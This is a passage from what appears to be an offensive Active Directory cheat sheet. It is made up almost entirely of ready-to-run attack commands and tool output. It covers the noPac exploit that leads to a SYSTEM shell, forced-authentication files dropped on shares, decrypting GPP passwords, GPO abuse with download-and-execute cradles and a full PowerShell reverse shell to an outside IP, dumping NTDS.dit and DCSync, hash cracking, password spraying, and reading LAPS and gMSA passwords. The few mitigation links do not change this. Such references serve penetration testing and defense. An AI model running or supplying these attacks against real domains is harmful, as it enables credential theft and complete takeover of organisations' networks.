    powershell@windows> Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
    ```
2. (CVE-2021-42278) Change the controlled machine account `sAMAccountName` to a Domain Controller's name without the trailing `$`
    ```ps1
    # https://github.com/SecureAuthCorp/impacket/pull/1224
    impacket@linux> renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'

    powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
    ```
3. Request a TGT for the controlled machine account
    ```ps1
    impacket@linux> getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'

    cmd@windows> Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap
    ```
4. Reset the controlled machine account sAMAccountName to its old value 
    ```ps1
    impacket@linux> renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'

    powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose
    ```
5. (CVE-2021-42287) Request a service ticket with `S4U2self` by presenting the TGT obtained before
    ```ps1
    # https://github.com/SecureAuthCorp/impacket/pull/1202
    impacket@linux> KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'

    cmd@windows> Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
    ```
6. DCSync: `KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'`

Automated exploitation:

* [noPac - @cube0x0](https://github.com/cube0x0/noPac)
    ```powershell
    noPac.exe scan -domain htb.local -user user -pass 'password123'
    noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt
    noPac.exe -domain htb.local -user domain_user -pass "Password123!" /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service ldaps /ptt /impersonate Administrator
    ```
* [sam_the_admin - @WazeHell](https://github.com/WazeHell/sam-the-admin)
    ```ps1
    $ python3 sam_the_admin.py "caltech/alice.cassie:Lee@tPass" -dc-ip 192.168.1.110 -shell
    [*] Selected Target dc.caltech.white                                              
    [*] Total Domain Admins 11                                                        
    [*] will try to impersonat gaylene.dreddy                                         
    [*] Current ms-DS-MachineAccountQuota = 10                                        
    [*] Adding Computer Account "SAMTHEADMIN-11$"                                     
    [*] MachineAccount "SAMTHEADMIN-11$" password = EhFMT%mzmACL                      
    [*] Successfully added machine account SAMTHEADMIN-11$ with password EhFMT%mzmACL.
    [*] SAMTHEADMIN-11$ object = CN=SAMTHEADMIN-11,CN=Computers,DC=caltech,DC=white   
    [*] SAMTHEADMIN-11$ sAMAccountName == dc                                          
    [*] Saving ticket in dc.ccache                                                    
    [*] Resting the machine account to SAMTHEADMIN-11$                                
    [*] Restored SAMTHEADMIN-11$ sAMAccountName to original value                     
    [*] Using TGT from cache                                                          
    [*] Impersonating gaylene.dreddy                                                  
    [*]     Requesting S4U2self                                                       
    [*] Saving ticket in gaylene.dreddy.ccache                                        
    [!] Launching semi-interactive shell - Careful what you execute                   
    C:\Windows\system32>whoami                                                        
    nt authority\system 
    ```

**Mitigations**:
* KB5008602
* [KB5008102](https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e)
* [KB5008380](https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041)


### Open Shares

> Some shares can be accessible without authentication, explore them to find some juicy files

* [smbmap](https://github.com/ShawnDEvans/smbmap)
  ```powershell
  smbmap -H 10.10.10.10                # null session
  smbmap -H 10.10.10.10 -R             # recursive listing
  smbmap -H 10.10.10.10 -u invaliduser # guest smb session
  smbmap -H 10.10.10.10 -d "DOMAIN.LOCAL" -u "USERNAME" -p "Password123*"
  ```

* [pth-smbclient from path-toolkit](https://github.com/byt3bl33d3r/pth-toolkit)
  ```powershell
  pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share
  pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/C$
  ls  # list files
  cd  # move inside a folder
  get # download files
  put # replace a file
  ```

* [smbclient from Impacket](https://github.com/SecureAuthCorp/impacket)
  ```powershell
  smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
          Sharename       Type      Comment
          ---------       ----      -------
          ADMIN$          Disk      Remote Admin
          C$              Disk      Default share
          IPC$            IPC       Remote IPC
          NETLOGON        Disk      Logon server share
          Replication     Disk      
          SYSVOL          Disk      Logon server share
          Users           Disk
  use Sharename # select a Sharename
  cd Folder     # move inside a folder
  ls            # list files
  ```

* [smbclient - from Samba, ftp-like client to access SMB/CIFS resources on servers](#)
  ```powershell
  smbclient -U username //10.0.0.1/SYSVOL
  smbclient //10.0.0.1/Share

  # Download a folder recursively
  smb: \> mask ""
  smb: \> recurse ON
  smb: \> prompt OFF
  smb: \> lcd '/path/to/go/'
  smb: \> mget *
  ```

### SCF and URL file attack against writeable share

Theses attacks can be automated with [Farmer.exe](https://github.com/mdsecactivebreach/Farmer) and [Crop.exe](https://github.com/mdsecactivebreach/Farmer/tree/main/crop)

```ps1
# Farmer to receive auth
farmer.exe <port> [seconds] [output]
farmer.exe 8888 0 c:\windows\temp\test.tmp # undefinitely
farmer.exe 8888 60 # one minute

# Crop can be used to create various file types that will trigger SMB/WebDAV connections for poisoning file shares during hash collection attacks
crop.exe <output folder> <output filename> <WebDAV server> <LNK value> [options]
Crop.exe \\\\fileserver\\common mdsec.url \\\\workstation@8888\\mdsec.ico
Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\workstation@8888\\mdsec
```

#### SCF Files

Drop the following `@something.scf` file inside a share and start listening with Responder : `responder -wrf --lm -v -I eth0`

```powershell
[Shell]
Command=2
IconFile=\\10.10.10.10\Share\test.ico
[Taskbar]
Command=ToggleDesktop
```

Using [`crackmapexec`](https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/modules/slinky.py):

```ps1
crackmapexec smb 10.10.10.10 -u username -p password -M scuffy -o NAME=WORK SERVER=IP_RESPONDER #scf
crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER #lnk
crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER CLEANUP
```

#### URL Files

This attack also works with `.url` files and `responder -I eth0 -v`.

```powershell
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\10.10.10.10\%USERNAME%.icon
IconIndex=1
```

#### Windows Library Files 

> Windows Library Files (.library-ms)

```xml
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="<http://schemas.microsoft.com/windows/2009/library>">
  <name>@windows.storage.dll,-34582</name>
  <version>6</version>
  <isLibraryPinned>true</isLibraryPinned>
  <iconReference>imageres.dll,-1003</iconReference>
  <templateInfo>
    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
  </templateInfo>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <isDefaultSaveLocation>true</isDefaultSaveLocation>
      <isSupported>false</isSupported>
      <simpleLocation>
        <url>\\\\workstation@8888\\folder</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
```

#### Windows Search Connectors Files

> Windows Search Connectors (.searchConnector-ms)

```xml
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="<http://schemas.microsoft.com/windows/2009/searchConnector>">
    <iconReference>imageres.dll,-1002</iconReference>
    <description>Microsoft Outlook</description>
    <isSearchOnlyItem>false</isSearchOnlyItem>
    <includeInStartMenuScope>true</includeInStartMenuScope>
    <iconReference>\\\\workstation@8888\\folder.ico</iconReference>
    <templateInfo>
        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
    </templateInfo>
    <simpleLocation>
        <url>\\\\workstation@8888\\folder</url>
    </simpleLocation>
</searchConnectorDescription>
```


### Passwords in SYSVOL & Group Policy Preferences

Find password in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: `\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.

```powershell
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
```

Decrypt a Group Policy Password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280)), using the 32-byte AES key provided by Microsoft in the [MSDN - 2.2.1.1.4 Password Encryption](https://msdn.microsoft.com/en-us/library/cc422924.aspx)

```bash
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

e.g: 
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
```

#### Automate the SYSVOL and passwords research

* `Metasploit` modules to enumerate shares and credentials
    ```c
    scanner/smb/smb_enumshares
    post/windows/gather/enum_shares
    post/windows/gather/credentials/gpp
    ```

* CrackMapExec modules
    ```powershell
    cme smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_autologin
    cme smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_password
    ```

* [Get-GPPPassword](https://github.com/SecureAuthCorp/impacket/blob/master/examples/Get-GPPPassword.py)
  ```powershell
  # with a NULL session
  Get-GPPPassword.py -no-pass 'DOMAIN_CONTROLLER'

  # with cleartext credentials
  Get-GPPPassword.py 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'

  # pass-the-hash
  Get-GPPPassword.py -hashes 'LMhash':'NThash' 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
  ```

#### Mitigations

* Install [KB2962486](https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2014/ms14-025) on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
* Delete existing GPP xml files in SYSVOL containing passwords.
* Don’t put passwords in files that are accessible by all authenticated users.

### Exploit Group Policy Objects GPO

> Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner

:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local

GPO are stored in the DC in `\\<domain.dns>\SYSVOL\<domain.dns>\Policies\<GPOName>\`, inside two folders **User** and **Machine**.
If you have the right to edit the GPO you can connect to the DC and replace the files. Planned Tasks are located at `Machine\Preferences\ScheduledTasks`.

:warning: Domain members refresh group policy settings every 90 minutes by default but it can locally be forced with the following command: `gpupdate /force`. 

#### Find vulnerable GPO

Look a GPLink where you have the **Write** right.

```powershell
Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs |  Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|AllExtendedWrite|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner")}
```

#### Abuse GPO with SharpGPOAbuse

```powershell
# Build and configure SharpGPOAbuse
$ git clone https://github.com/FSecureLABS/SharpGPOAbuse
$ Install-Package CommandLineParser -Version 1.9.3.15
$ ILMerge.exe /out:C:\SharpGPOAbuse.exe C:\Release\SharpGPOAbuse.exe C:\Release\CommandLine.dll

# Adding User Rights
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"

# Adding a Local Admin
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"

# Configuring a User or Computer Logon Script
.\SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

# Configuring a Computer or User Immediate Task
# /!\ Intended to "run once" per GPO refresh, not run once per system
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
.\SharpGPOAbuse.exe --AddComputerTask --GPOName "VULNERABLE_GPO" --Author 'LAB.LOCAL\User' --TaskName "EvilTask" --Arguments  "/c powershell.exe -nop -w hidden -enc BASE64_ENCODED_COMMAND " --Command "cmd.exe" --Force
```

#### Abuse GPO with PowerGPOAbuse

* https://github.com/rootSySdk/PowerGPOAbuse

```ps1
PS> . .\PowerGPOAbuse.ps1

# Adding a localadmin 
PS> Add-LocalAdmin -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'

# Assign a new right 
PS> Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'

# Adding a New Computer/User script 
PS> Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(Get-Content evil.ps1) -GPOIdentity 'SuperSecureGPO'

# Create an immediate task 
PS> Add-UserTask/Add-ComputerTask -TaskName 'eviltask' -Command 'powershell.exe /c' -CommandArguments "'$(Get-Content evil.ps1)'" -Author Administrator
```

#### Abuse GPO with pyGPOAbuse

```powershell
$ git clone https://github.com/Hackndo/pyGPOAbuse

# Add john user to local administrators group (Password: H4x00r123..)
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"

# Reverse shell example
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \ 
    -powershell \ 
    -command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \ 
    -taskname "Completely Legit Task" \
    -description "Dis is legit, pliz no delete" \ 
    -user
```

#### Abuse GPO with PowerView

```powershell
# Enumerate GPO
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}

# New-GPOImmediateTask to push an Empire stager out to machines via VulnGPO
New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArguments '-NoP -NonI -W Hidden -Enc AAAAAAA...' -Force
```

#### Abuse GPO with StandIn

```powershell
# Add a local administrator
StandIn.exe --gpo --filter Shards --localadmin user002

# Set custom right to a user
StandIn.exe --gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivilege,SeLoadDriverPrivilege"

# Execute a custom command
StandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args"
```

### Dumping AD Domain Credentials

You will need the following files to extract the ntds : 
- NTDS.dit file
- SYSTEM hive (`C:\Windows\System32\SYSTEM`)

Usually you can find the ntds in two locations : `systemroot\NTDS\ntds.dit` and `systemroot\System32\ntds.dit`.
- `systemroot\NTDS\ntds.dit` stores the database that is in use on a domain controller. It contains the values for the domain and a replica of the values for the forest (the Configuration container data).
- `systemroot\System32\ntds.dit` is the distribution copy of the default directory that is used when you install Active Directory on a server running Windows Server 2003 or later to create a domain controller. Because this file is available, you can run the Active Directory Installation Wizard without having to use the server operating system CD.

However you can change the location to a custom one, you will need to query the registry to get the current location.

```powershell
reg query HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v "DSA Database file"
```

#### Using ndtsutil

```powershell
C:\>ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit
```

or 

```powershell
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
```

#### Using Vshadow

```powershell
vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit
```

You can also use the Nishang script, available at : [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)

```powershell
Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\
```

#### Using vssadmin

```powershell
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
```

#### Using DiskShadow (a Windows signed binary)

```powershell
diskshadow.txt contains :
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset

then:
NOTE - must be executed from C:\Windows\System32
diskshadow.exe /s  c:\diskshadow.txt
dir c:\exfil
reg.exe save hklm\system c:\exfil\system.bak
```

#### Using esentutl.exe

Copy/extract a locked file such as the AD Database

```powershell
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit
```

#### Extract hashes from ntds.dit

then you need to use [secretsdump](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py) to extract the hashes, use the `LOCAL` options to use it on a retrieved ntds.dit

```java
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
```

[secretsdump](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py) also works remotely

```java
./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss -pwd-last-set -user-status 
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
```

* `-pwd-last-set`: Shows pwdLastSet attribute for each NTDS.DIT account.
* `-user-status`: Display whether or not the user is disabled.

#### Alternatives - modules

Metasploit modules

```c
windows/gather/credentials/domain_hashdump
```

PowerSploit module

```powershell
Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit
```

CrackMapExec module

```powershell
cme smb 10.10.0.202 -u username -p password --ntds vss
cme smb 10.10.0.202 -u username -p password --ntds drsuapi #default
```

#### Using Mimikatz DCSync

Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data. 

```powershell
# DCSync only one user
mimikatz# lsadump::dcsync /domain:htb.local /user:krbtgt

# DCSync all users of the domain
mimikatz# lsadump::dcsync /domain:htb.local /all /csv
```

:warning: Read-Only Domain Controllers are not allowed to pull password data for users by default.

#### Using Mimikatz sekurlsa

Dumps credential data in an Active Directory domain when run on a Domain Controller.
:warning: Requires administrator access with debug or Local SYSTEM rights

```powershell
sekurlsa::krbtgt
lsadump::lsa /inject /name:krbtgt
```

#### Crack NTLM hashes with hashcat

Useful when you want to have the clear text password or when you need to make stats about weak passwords.

Recommended wordlists:
- rockyou (available in Kali Linux)
- Have I Been Powned (https://hashes.org/download.php?hashlistId=7290&type=hfound)
- Collection #1 (passwords from Data Breaches, might be illegal to possess)

```powershell
# Basic wordlist
# (-O) will Optimize for 32 characters or less passwords
# (-w 4) will set the workload to "Insane" 
$ hashcat64.exe -m 1000 -w 4 -O -a 0 -o pathtopotfile pathtohashes pathtodico -r ./rules/best64.rule --opencl-device-types 1,2

# Generate a custom mask based on a wordlist
$ git clone https://github.com/iphelix/pack/blob/master/README
$ python2 statsgen.py ../hashcat.potfile -o hashcat.mask
$ python2 maskgen.py hashcat.mask --targettime 3600 --optindex -q -o hashcat_1H.hcmask
```

:warning: If the password is not a confidential data (challenges/ctf), you can use online "cracker" like :
- [hashes.org](https://hashes.org/check.php)
- [hashes.com](https://hashes.com/en/decrypt/hash)

### Password spraying

Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password. 

> The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates. 

Most of the time the best passwords to spray are :

- `P@ssw0rd01`, `Password123`, `Password1`, `Hello123`, `mimikatz`
- `Welcome1`/`Welcome01`
- $Companyname1 :` $Microsoft1`
- SeasonYear : `Winter2019*`, `Spring2020!`, `Summer2018?`, `Summer2020`, `July2020!`
- Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)


#### Kerberos pre-auth bruteforcing

Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing.

> Kerberos pre-authentication errors are not logged in Active Directory with a normal **Logon failure event (4625)**, but rather with specific logs to **Kerberos pre-authentication failure (4771)**.

* Username bruteforce
  ```powershell
  root@kali:~$ ./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10 usernames.txt
  ```
* Password bruteforce
  ```powershell
  root@kali:~$ ./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.10 rockyou.txt username
  ```
* Password spray
  ```powershell
  root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123
  root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt
  root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log
  ```

#### Spray a pre-generated passwords list

* Using `crackmapexec` and `mp64` to generate passwords and spray them against SMB services on the network.
  ```powershell
  crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
  ```
* Using `DomainPasswordSpray` to spray a password against all users of a domain.
  ```powershell
  # https://github.com/dafthack/DomainPasswordSpray
  Invoke-DomainPasswordSpray -Password Summer2021!
  # /!\ be careful with the account lockout !
  Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
  ```
* Using `SMBAutoBrute`.
  ```powershell
  Invoke-SMBAutoBrute -UserList "C:\ProgramData\admins.txt" -PasswordList "Password1, Welcome1, 1qazXDR%+" -LockoutThreshold 5 -ShowVerbose
  ```

#### Spray passwords against the RDP service

* Using [RDPassSpray](https://github.com/xFreed0m/RDPassSpray) to target RDP services.
  ```powershell
  git clone https://github.com/xFreed0m/RDPassSpray
  python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
  ```
* Using [hydra](https://github.com/vanhauser-thc/thc-hydra) and [ncrack](https://github.com/nmap/ncrack) to target RDP services.
  ```powershell
  hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10
  ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10
  ```

#### BadPwdCount attribute

> The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.

```powershell
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --users
LDAP        10.0.2.11       389    dc01       Guest      badpwdcount: 0 pwdLastSet: <never>
LDAP        10.0.2.11       389    dc01       krbtgt     badpwdcount: 0 pwdLastSet: <never>
```


### Password in AD User comment

```powershell
$ crackmapexec ldap domain.lab -u 'username' -p 'password' -M user-desc
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 -M get-desc-users
GET-DESC... 10.0.2.11       389    dc01    [+] Found following users: 
GET-DESC... 10.0.2.11       389    dc01    User: Guest description: Built-in account for guest access to the computer/domain
GET-DESC... 10.0.2.11       389    dc01    User: krbtgt description: Key Distribution Center Service Account
```

There are 3-4 fields that seem to be common in most AD schemas: `UserPassword`, `UnixUserPassword`, `unicodePwd` and `msSFU30Password`.

```powershell
enum4linux | grep -i desc

Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID
```

or dump the Active Directory and `grep` the content.

```powershell
ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/
```

### Reading GMSA Password

> User accounts created to be used as service accounts rarely have their password changed. Group Managed Service Accounts (GMSAs) provide a better approach (starting in the Windows 2012 timeframe). The password is managed by AD and automatically changed.

#### GMSA Attributes in the Active Directory 
* `msDS-GroupMSAMembership` (`PrincipalsAllowedToRetrieveManagedPassword`) - stores the security principals that can access the GMSA password.
* `msds-ManagedPassword` - This attribute contains a BLOB with password information for group-managed service accounts.
* `msDS-ManagedPasswordId` - This constructed attribute contains the key identifier for the current managed password data for a group MSA.
* `msDS-ManagedPasswordInterval` - This attribute is used to retrieve the number of days before a managed password is automatically changed for a group MSA.


#### Extract NT hash from the Active Directory

* [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader) (C#)
  ```ps1
  # https://github.com/rvazarkar/GMSAPasswordReader
  GMSAPasswordReader.exe --accountname SVC_SERVICE_ACCOUNT
  ```

* [gMSADumper (Python)](https://github.com/micahvandeusen/gMSADumper)
   ```powershell
  # https://github.com/micahvandeusen/gMSADumper
  python3 gMSADumper.py -u User -p Password1 -d domain.local
  ```
  
* Active Directory Powershell
  ```ps1
  $gmsa =  Get-ADServiceAccount -Identity 'SVC_SERVICE_ACCOUNT' -Properties 'msDS-ManagedPassword'
  $blob = $gmsa.'msDS-ManagedPassword'
  $mp = ConvertFrom-ADManagedPasswordBlob $blob
  $hash1 =  ConvertTo-NTHash -Password $mp.SecureCurrentPassword
  ```

* [gMSA_Permissions_Collection.ps1](https://gist.github.com/kdejoyce/f0b8f521c426d04740148d72f5ea3f6f#file-gmsa_permissions_collection-ps1) based on Active Directory PowerShell module

### Reading LAPS Password

> Use LAPS to automatically manage local administrator passwords on domain joined computers so that passwords are unique on each managed computer, randomly generated, and securely stored in Active Directory infrastructure. 

#### Determine if LAPS is installed

```ps1
Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-FileHash 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'
```

#### Extract LAPS password

> The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users

 - From Windows:

   * adsisearcher (native binary on Windows 8+)
       ```powershell
       ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=*))").findAll() | ForEach-Object { $_.properties}
       ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=MACHINE$))").findAll() | ForEach-Object { $_.properties}
       ```

   * [PowerView](https://github.com/PowerShellEmpire/PowerTools)
       ```powershell
       PS > Import-Module .\PowerView.ps1
       PS > Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime
       ```

   * [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit)
       ```powershell
       $ Get-LAPSComputers
       ComputerName                Password                                 Expiration         
       ------------                --------                                 ----------         
       example.domain.local        dbZu7;vGaI)Y6w1L                         02/21/2021 22:29:18

       $ Find-LAPSDelegatedGroups
       $ Find-AdmPwdExtendedRights
       ```

   * Powershell AdmPwd.PS
       ```powershell
       foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}
       ```

 - From linux:

   * [pyLAPS](https://github.com/p0dalirius/pyLAPS) to **read** and **write** LAPS passwords:
       ```bash
       # Read the password of all computers
       ./pyLAPS.py --action get -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1
       # Write a random password to a specific computer
       ./pyLAPS.py --action set --computer 'PC01$' -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1
       ```
     
   * [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec):
       ```bash
       crackmapexec smb 10.10.10.10 -u 'user' -H '8846f7eaee8fb117ad06bdd830b7586c' -M laps
       ```

   * [LAPSDumper](https://github.com/n00py/LAPSDumper) 
       ```bash
       python laps.py -u 'user' -p 'password' -d 'domain.local'
       python laps.py -u 'user' -p 'e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c' -d 'domain.local' -l 'dc01.domain.local'
       ```
   
